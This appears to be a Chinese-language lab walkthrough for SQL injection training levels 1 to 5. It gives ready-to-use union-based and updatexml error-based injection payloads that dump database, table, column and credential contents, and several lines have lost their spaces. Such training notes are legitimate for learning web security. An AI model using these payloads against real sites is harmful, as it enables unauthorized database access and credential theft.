# 查询字段数 orderby1,2,3.... # 查询当前表名 database() # 查询所有库名 group_concat(schema_name) from information_schema.schemata # 查询所有表名 group_concat(table_name) from information_schema.tables where table_schema='库名' # 查询所有字段 group_concat(column_name) from information_schema.columns where table_schema='库名'and table_name='表名' # 查询所有字段内容 group_concat(字段名) from 库名.表名
第1关
输入?id=1'页面报错 ,在后面加入--+后回显正常 判断为单引号字符型注入。
使用order by获取字段数 输入order by 4报错 判断字段名为3个。
接着进行联合注入,通过回显爆出表名,列名,字段,用户名和密码
1 2 3 4 5 6 7 8 9 10 11 12 13
# 注意id要传一个不存在的值
# 查询库名 ?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+
# 查询表名 ?id=-1'unionselect1,2,group_concat(table_name) from information_schema.tables where table_schema='库名'--+
# 查询字段 ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名' --+
# 查询字段内容 ?id=-1'unionselect1,2,group_concat(字段名) from 库名.表名 --+
第2关
数字型注入 payload:?id=-1 union select 1,2,语句
第3关
单引号括号注入 payload:?id=-1') union select 1,2,语句 --+
第4关
双引号括号注入 payload:?id=-1") union select 1,2,语句--+
第5关
利用updataxml函数进行报错注入
其中0x7e是ascii编码,解码为~
updatexml()是更新目标xml文档的函数
updatexml()语法:update(目标xml文档,xml路径,更新内容)
1 2 3 4 5 6 7 8
# 查询当前库的表 记得修改limit ?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e),1);--+
# 查询库内字段 ?id=1'and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema=database() and table_name='库名' limit 0,1),0x7e),1);--+
# 查询字段内容 ?id=1' and updatexml(1,concat(0x7e,(select 字段名 from 库名.表名 limit 0,1),0x7e),1);--+